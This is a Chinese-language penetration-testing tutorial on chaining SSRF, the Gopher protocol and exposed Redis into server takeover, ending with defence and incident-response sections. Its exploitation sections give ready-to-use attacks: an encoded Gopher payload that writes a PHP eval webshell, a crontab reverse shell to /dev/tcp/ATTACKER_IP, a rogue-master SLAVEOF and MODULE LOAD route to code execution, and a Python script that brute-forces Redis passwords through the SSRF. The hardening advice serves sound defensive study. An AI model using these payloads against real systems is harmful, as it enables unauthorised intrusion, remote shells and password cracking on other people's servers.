1. 一次内部渗透测试的意外发现
那次内部测试的目标是一个看似普通的Web应用,一个面向内部员工的文档管理系统。按照常规流程,我开始了信息收集和漏洞扫描。应用本身功能简单,除了文档上传下载,就剩下一个“在线预览”功能,允许用户输入一个文档URL,系统会抓取并展示内容。这个功能点立刻引起了我的注意,因为它直接处理用户提供的URL,是SSRF(Server-Side Request Forgery,服务端请求伪造)漏洞的典型温床。
我随手构造了几个指向内网知名端口的URL,比如http://127.0.0.1:80或者http://localhost:3306,想看看有没有基本的端口探测防护。结果发现,应用不仅没有对目标地址做任何限制,甚至将后端请求的完整响应(包括错误信息)直接返回到了前端页面上。这意味着,我可以通过这个应用的眼睛,去窥探服务器本机,甚至是整个内网中其他无法从外网直接访问的服务。这种漏洞在内部系统中其实并不少见,开发人员往往认为内网环境是“可信的”,从而忽略了这类风险。
初步探测显示,目标服务器的6379端口是开放的,并且返回了一个典型的Redis错误响应:“-ERR wrong number of arguments for ‘get’ command”。这个响应像一束聚光灯,瞬间照亮了后续的攻击路径。一个未授权或弱口令的Redis实例,在内网中往往承载着缓存、会话甚至部分业务数据,一旦被控制,后果可能是灾难性的。接下来的问题就是,如何通过这个只能发起HTTP/HTTPS请求的SSRF漏洞,去与一个使用纯文本协议的Redis服务进行深度交互?答案就藏在那个古老而强大的协议里:Gopher。
2. 核心攻击链拆解:SSRF到Gopher再到Redis
要理解整个攻击过程,我们需要把链条拆解成几个关键环节,每个环节都环环相扣。首先是最基础的SSRF漏洞,它允许我们作为攻击者,诱导服务器应用向任意内部地址发起网络请求。但大多数SSRF漏洞利用都停留在使用HTTP/HTTPS协议进行端口扫描、读取本地文件(如果支持file://协议)或者攻击内网Web应用。
2.1 为什么Gopher协议是突破口?
Gopher协议是一个比HTTP还要古老的网络协议,设计简单,基于纯文本的请求-响应模式。它的关键特性在于,客户端发送一个由特定字符(如回车\r和换行\n)分隔的文本字符串到服务器的特定端口,服务器就会执行相应的操作并返回结果。而Redis的通信协议(RESP,Redis Serialization Protocol)虽然是为高性能设计的二进制安全协议,但其网络传输格式本质上也是一系列由特定分隔符组织的字符串。
这就产生了一个完美的协议转换场景:我们可以将我们想发送给Redis的RESP格式命令,按照Gopher协议的数据包格式进行封装,然后通过存在SSRF漏洞的Web应用发送出去。当这个精心构造的Gopher请求到达目标Redis服务器的6379端口时,Redis服务会将其解析为合法的客户端命令并执行。简单来说,我们利用SSRF作为“跳板”,将Gopher协议作为“运输工具”,把攻击载荷(Redis命令)精准“投递”到了目标Redis服务中。
2.2 攻击链全景图
整个攻击流程可以概括为以下几步:
- 漏洞发现与确认:找到存在SSRF漏洞的参数(如
url=),并确认其可以访问内网任意IP和端口。 - 目标识别:利用SSRF进行内网端口扫描,识别出开放的Redis服务(默认6379端口)。
- 载荷构造:将需要执行的Redis攻击命令(如写入Webshell、计划任务、主从复制)转换为符合Gopher协议格式的Payload。
- 协议封装与编码:对Gopher Payload进行必要的URL编码,以通过Web应用的参数传递。
- 漏洞利用:将最终Payload提交给SSRF漏洞点,触发服务器向目标Redis发起Gopher请求,执行攻击命令。
- 权限维持与拓展:根据Redis执行结果,进行下一步操作,如访问写入的Webshell、接收反弹的Shell等。
这个链条的核心难点和技术细节,主要集中在第3步和第4步:如何准确无误地构造出Redis能理解的Gopher Payload。这需要对Redis的RESP协议和Gopher协议的数据格式有清晰的理解。
3. 深入原理:RESP协议与Gopher的碰撞
要手工构造有效的Payload,不能只依赖工具,必须理解背后的协议。这就像开手动挡车,虽然自动挡方便,但懂得原理才能在出问题时排查。
3.1 Redis RESP协议格式速览
Redis客户端与服务端的通信使用RESP协议。它简单高效,有几种数据类型,对于命令传输,主要使用“数组”(Array)。每个命令以“*”开头,后面跟数组的元素个数,然后每个元素是一个“批量字符串”(Bulk String)。
例如,Redis命令SET key value在RESP中的格式是:
*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n我们来拆解一下:
*3:表示这是一个包含3个元素的数组。\r\n:每个部分之间的分隔符(CRLF,回车换行)。$3:表示下一个是一个长度为3的批量字符串。SET:字符串内容。- 后续的
$3\r\nkey\r\n和$5\r\nvalue\r\n同理。
所有的Redis命令,无论是FLUSHALL、CONFIG SET还是复杂的SLAVEOF,都需要被转换成这种格式的字节流。
3.2 Gopher协议请求格式
一个Gopher请求的URL格式通常为:gopher://<host>:<port>/<gopher-path>。其中<gopher-path>部分就是客户端要发送给服务器的数据。关键点在于,这个路径信息在发送时,第一个字符会被作为标识符忽略(通常用下划线_),后续的所有字符都会原样发送到目标服务器的指定端口。
所以,如果我们想通过Gopher发送数据到127.0.0.1:6379,我们的Payload需要放在gopher://127.0.0.1:6379/_这个下划线之后。发送时,_被忽略,后面的字节流直接打向6379端口。
3.3 两者的结合:构造攻击Payload
结合以上两点,攻击Payload的构造逻辑就清晰了:
- 将我们要执行的Redis命令,按照RESP格式转换成字节流(字符串)。
- 将这个字节流作为Gopher路径的一部分,拼接到
gopher://host:port/_后面。 - 由于这个完整的Gopher URL会作为参数值通过HTTP GET/POST传递,通常需要对特殊字符(如
:,/,%,CRLF等)进行URL编码,以免被Web服务器或应用本身错误解析。
以一个最简单的测试命令PING为例:
- RESP格式:
*1\r\n$4\r\nPING\r\n - Gopher URL:
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aPING%0d%0a(这里\r\n被URL编码为%0d%0a)
当存在SSRF漏洞的应用(比如参数url=)接收到这个URL并发起请求时,Redis服务端就会收到*1\r\n$4\r\nPING\r\n并响应PONG,响应内容可能会通过SSRF的回显功能显示给我们,从而证实漏洞存在且可利用。
注意:不同工具和脚本对Gopher Payload的编码处理可能略有差异。有些工具生成的是已经转义了
CRLF的Payload,有些则没有。在实际利用时,如果Payload执行不成功,除了检查命令本身,一定要用抓包工具或仔细核对Payload的原始字节,确认\r\n是否正确发送。这是我早期踩过的一个大坑,两个工具生成的Payload看似一样,但一个能执行一个不能,最后发现是换行符编码不一致。
4. 实战利用:从信息泄露到系统沦陷
理论清楚了,我们进入实战环节。假设我们已经确认目标192.168.1.100:6379存在未授权访问的Redis。
4.1 利用一:写入Webshell
这是最直接的一种利用方式,前提是我们知道Web应用的绝对路径。通过SSRF,我们可以让Redis将数据持久化到磁盘的指定位置,从而写入一个PHP Webshell。
攻击步骤如下:
- 清空数据库(可选,避免干扰):
FLUSHALL - 设置一个键值对,值为Webshell代码:
SET shell "<?php @eval($_POST['cmd']);?>" - 配置Redis持久化文件目录为Web目录:
CONFIG SET dir /var/www/html - 配置持久化文件名:
CONFIG SET dbfilename shell.php - 触发保存:
SAVE
将以上命令转换为RESP格式,再封装进Gopher URL。这里我们可以使用一些现成的工具来生成,比如搜索到的redis-over-gopher.py。但务必理解其输出,一个典型的Payload可能如下(已进行初步URL编码):
gopher://192.168.1.100:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%245%0D%0Ashell%0D%0A%2431%0D%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A%2Fvar%2Fwww%2Fhtml%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A将这个长长的字符串作为SSRF参数(如url=)的值提交。如果成功,Web根目录下就会生成一个shell.php文件,内容包含Redis的一些元数据和我们的Webshell代码。之后,我们就可以通过访问http://target.com/shell.php,用POST传递cmd=whoami来执行系统命令了。
实操心得:
CONFIG SET dir的成功与否至关重要。如果路径错误或Redis进程权限不足,SAVE会失败。在不确定路径时,可以尝试一些常见路径,如/tmp、/var/www、/home/www等。写入/tmp目录通常权限较宽松,但需要后续有其他利用点(如文件包含)来触发。
4.2 利用二:写入Linux计划任务(Crontab)
如果Redis是以root权限运行的(这在一些老旧或配置不当的服务器上确实存在),我们可以通过写入计划任务的方式获得一个反向Shell。
攻击命令如下:
FLUSHALL SET task "\n\n* * * * * /bin/bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1\n\n" CONFIG SET dir /var/spool/cron/ CONFIG SET dbfilename root SAVE这里有几个关键点:
\n\n用于在crontab文件中换行,确保我们的任务是一个独立条目。- 计划任务路径通常是
/var/spool/cron/或/var/spool/cron/crontabs/,文件名是对应的用户名(如root)。 - 这个方法对Ubuntu系统通常无效,因为Ubuntu对crontab有格式校验,Redis写入的脏数据会导致cron服务崩溃或忽略该文件。这个方法主要适用于CentOS、RedHat等系统。
将上述命令构造为Gopher Payload发送后,如果成功,目标服务器将会每分钟向你的监听IP和端口发起一个反向Shell连接。
注意事项:这种方法动静较大,容易被发现。在实际渗透测试中,需谨慎使用,并确保获得了授权。同时,要确保攻击机的IP和端口能被目标服务器访问(无防火墙拦截)。
4.3 利用三:Redis主从复制RCE(高阶手法)
当写入Webshell和计划任务都受限于路径或权限时,Redis 4.x/5.x的主从复制功能提供了更强大的利用方式。其核心思想是:我们伪装成一个恶意的Redis主服务器(Master),诱骗目标Redis(Slave)与我们同步。在同步过程中,我们将一个包含恶意代码的Redis模块(.so文件)传输给目标Redis,并命令其加载执行。
这个手法技术含量较高,但成功率也高,且不依赖Web目录权限。步骤如下:
- 准备恶意Redis模块:需要编译一个特殊的
.so文件,其中导出了如system.exec这样的命令执行函数。可以使用RedisModules-ExecuteCommand等项目进行编译。 - 搭建恶意Redis主服务器:使用如
redis-rogue-server这样的工具,它会监听一个端口,扮演一个支持模块传输的主服务器。你需要将编译好的.so文件放在该工具目录下。 - 通过SSRF+Gopher发送奴隶化命令:向目标Redis发送命令,使其成为我们恶意主服务器的从库。
SLAVEOF ATTACKER_IP ATTACKER_PORT - 等待同步完成:目标Redis会连接我们的恶意主服务器,并同步数据(包括我们预设的恶意模块文件)。
- 通过SSRF+Gopher发送模块加载与命令执行指令:
MODULE LOAD /tmp/module.so # 加载同步过来的模块 system.exec "whoami" # 调用模块中的命令执行函数 QUIT
整个过程的Payload构造更为复杂,因为涉及多条命令,且需要正确编码。通常直接使用redis-rogue-server这类工具生成全套Payload更为可靠。工具会在你设置好监听IP端口后,生成一个对应的Gopher URL,你只需将这个URL通过SSRF发送即可。
踩坑记录:主从复制利用对版本有一定要求,通常适用于Redis 4.x和5.x。在实战中,我曾遇到目标Redis配置了
slave-read-only yes,这会导致从库无法执行MODULE LOAD等写操作命令,使得利用失败。此外,网络连通性(目标能否访问你的攻击机)是成功的前提。
5. 突破认证:当Redis需要密码时
现实中的Redis可能配置了密码认证。如果密码较弱,我们依然可以尝试突破。
5.1 认证命令的RESP格式
Redis的认证命令是AUTH password。其RESP格式为:*2\r\n$4\r\nAUTH\r\n$[密码长度]\r\n[密码]\r\n。
例如,密码是123456:
*2\r\n$4\r\nAUTH\r\n$6\r\n123456\r\n5.2 构造带认证的复合Payload
如果Redis有密码,我们需要在攻击序列的最前面加上认证命令。假设密码是123456,我们要执行PING,那么完整的RESP序列是:
*2\r\n$4\r\nAUTH\r\n$6\r\n123456\r\n*1\r\n$4\r\nPING\r\n将其转换为Gopher URL并编码即可。对于复杂的攻击序列(如主从复制),只需将认证部分的RESP字符串拼接到原有攻击Payload的前面。
5.3 自动化密码爆破
如果不知道密码,我们可以通过SSRF进行爆破。原理是:发送认证命令,如果密码错误,Redis会返回-ERR invalid password;如果密码正确,会返回+OK,并且后续的命令可以正常执行。我们可以通过判断SSRF的响应内容是否包含特定成功执行命令后的回显(例如,执行INFO命令后的服务器信息)来判断密码是否正确。
我们可以编写一个简单的Python爆破脚本,字典可以先用top100.txt这类弱口令字典尝试。
import requests import urllib.parse ssrf_url = "http://vulnerable-site.com/ssrf.php?url=" target_redis = "gopher://192.168.1.100:6379/_" # 假设我们要爆破后执行一个 INFO 命令来验证 info_cmd_resp = "*1\r\n$4\r\nINFO\r\n" # INFO命令的RESP格式 info_cmd_encoded = urllib.parse.quote(info_cmd_resp) with open('top100.txt', 'r') as f: for password in f: password = password.strip() auth_cmd = f"*2\r\n$4\r\nAUTH\r\n${len(password)}\r\n{password}\r\n" full_payload = auth_cmd + info_cmd_resp gopher_payload = target_redis + urllib.parse.quote(full_payload) final_url = ssrf_url + urllib.parse.quote(gopher_payload, safe='') # 二次编码 try: resp = requests.get(final_url, timeout=5) if 'redis_version' in resp.text: # INFO命令成功执行的标志 print(f"[+] Found password: {password}") print(resp.text[:500]) # 打印部分响应 break else: print(f"[-] Trying: {password}") except Exception as e: print(f"[!] Error with {password}: {e}")重要提示:爆破会产生大量请求,在真实渗透测试中必须谨慎,并确保在授权范围内进行。同时,要注意目标系统的告警机制。
6. 防御视角:如何避免成为受害者
作为防御方,了解攻击手法是为了更好地防护。针对这种“SSRF+Gopher+Redis”的攻击链,可以从多个层面进行布防。
6.1 应用层:根治SSRF漏洞
这是最根本的。开发人员需要对用户提供的URL参数进行严格过滤和校验。
- 协议白名单:只允许应用需要使用的协议,如HTTP和HTTPS,明确禁止
gopher://、file://、dict://、ftp://等危险协议。 - URL解析与校验:使用安全的URL解析库,获取其
host,并解析为IP地址。对该IP进行判断:- 是否为回环地址(
127.0.0.0/8,::1)? - 是否为内网私有地址(
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)? - 是否为链路本地地址(
169.254.0.0/16)? - 如果是域名,解析后的IP是否属于上述范围?
- 是否为回环地址(
- 目标端口限制:只允许访问业务需要的特定端口(如80,443)。
- 响应处理:不要将后端请求的原始响应直接返回给前端。只返回处理后的、必要的数据。
6.2 中间件与网络层:限制访问范围
即使应用层存在疏漏,网络层的隔离也能有效遏制损失。
- Redis安全配置:
- 强制设置密码:在
redis.conf中通过requirepass设置一个强密码。 - 禁止远程访问:绑定内网IP
bind 127.0.0.1或bind 内网IP,不要使用bind 0.0.0.0。 - 重命名或禁用危险命令:通过
rename-command配置项,将FLUSHALL、CONFIG、MODULE、SLAVEOF等命令重命名为随机字符串或直接禁用(重命名为"")。 - 以低权限用户运行:不要使用root用户运行Redis。
- 强制设置密码:在
- 网络隔离:遵循最小权限原则,将Redis服务部署在独立的内部子网中,并通过防火墙严格限制访问源。Web应用服务器只能通过特定的规则访问Redis的6379端口,其他来源一律拒绝。
- 使用代理或网关:对于需要从外网访问Redis的情况,使用经过严格认证的代理服务或API网关,而不是直接暴露Redis端口。
6.3 安全运维:持续监控与审计
- 日志审计:开启Redis的日志功能,监控异常命令,特别是
CONFIG SET、SLAVEOF、MODULE LOAD等。 - 文件监控:对Web目录、
/tmp目录、/var/spool/cron/目录进行文件完整性监控或异常写入告警。 - 入侵检测:在网络层面部署IDS/IPS,设置规则检测异常的、包含Redis RESP协议特征或Gopher协议特征的出站流量。
7. 排查与应急:如果怀疑已被入侵
如果你负责的系统发现了SSRF漏洞,或者Redis出现了异常连接,可以按照以下步骤进行应急响应:
- 立即隔离:如果可能,将受影响的服务从网络中断开。
- 检查Redis配置:
- 登录Redis服务器,使用
redis-cli连接,执行CONFIG GET dir和CONFIG GET dbfilename,查看持久化路径和文件名是否被篡改。 - 执行
CONFIG GET requirepass检查密码是否被修改或清除。 - 检查
redis.conf文件是否被修改。
- 登录Redis服务器,使用
- 检查可疑文件:
- 检查Web目录下是否有陌生的
.php、.jsp、.asp文件,特别是最近创建的。 - 检查
/tmp、/var/tmp等临时目录是否有可疑的.so文件。 - 检查
/var/spool/cron/或对应用户的crontab文件(crontab -l)是否有异常任务。
- 检查Web目录下是否有陌生的
- 检查进程与连接:
- 使用
netstat -antp查看是否有异常的外连IP和端口。 - 使用
ps aux查看是否有可疑进程。
- 使用
- 清除后门:
- 删除发现的Webshell文件。
- 清理crontab中的恶意任务。
- 如果加载了恶意模块,重启Redis服务(注意备份数据),并检查
redis.conf中是否被添加了loadmodule指令。
- 修复漏洞:
- 彻底修复SSRF漏洞。
- 按照6.2章节加固Redis配置。
- 更改所有相关系统的密码。
- 溯源分析:审查Web应用日志、Redis日志、系统日志,确定攻击发生的时间、来源和具体利用方式。
这次从SSRF到Redis的完整攻击链剖析,再次印证了安全是一个整体。一个看似边缘的功能点(URL预览),一个默认不安全的服务配置(Redis未授权),在攻击者眼中就是一条直通核心的捷径。作为防御者,唯有深入理解每一环的攻击原理,才能构建起真正有效的纵深防御体系。而对于渗透测试人员而言,掌握这种将多个中低危漏洞串联形成致命攻击链的思维,正是专业能力的体现。在下次测试时,当你再看到一个SSRF,不妨想想,它看到的那个内网端口,背后会不会是另一个等待被开启的潘多拉魔盒。